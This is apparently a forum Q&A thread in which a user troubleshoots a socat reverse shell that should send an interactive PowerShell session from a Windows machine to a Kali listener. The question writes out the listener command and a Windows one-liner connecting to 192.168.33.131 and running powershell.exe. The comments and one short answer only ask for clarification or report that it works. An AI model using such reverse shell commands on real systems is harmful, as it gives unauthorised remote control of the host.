1

I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell.

Kali Listener

# socat - tcp4-listen:1338

Windows (socat.exe used from here: https://github.com/StudioEtrange/socat-windows)

socat.exe tcp-connect:192.168.33.131:1338 exec:powershell.exe,pipes,pty

I get a connection but no shell

enter image description here

And Powershell starts on my Windows machine: enter image description here

Does anyone know why this doesn't work?

4
  • It is not clear what you mean by I get a connection but no shell. – mentallurg Apr 20 '20 at 5:23
  • Seems to me like everything is working as intended? Your 1st screenshot shows you starting and running a shell daemon, and your 2nd screenshot is you connecting to it; and, in fact, obtaining an interactive shell? – Will Apr 20 '20 at 5:49
  • Hey @will , The first screenshot is my listener on Kali. If it would have been successful I would have expected to see PS C:\inetpub\wwwroot\socat> in Kali, not my Windows box. I'm trying to shovel a Powershell shell from Windows to Kali. Sorry for the confusion. – RandomDisplayName45463 Apr 20 '20 at 14:12
  • Hey @mentallurg , what I meant was a connection happens between by Kali listener and the Windows machine as evidenced by the "Windows PowerShell Copyright (C)..." message however I don't receive a PS C:\inetpub\wwwroot\socat> prompt in my Kali machine. – RandomDisplayName45463 Apr 20 '20 at 14:14
0

Windows PowerShell

Seems work fine in my case between virtual machine macOS (VMware Workstation Pro 16) and Windows 10 host.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.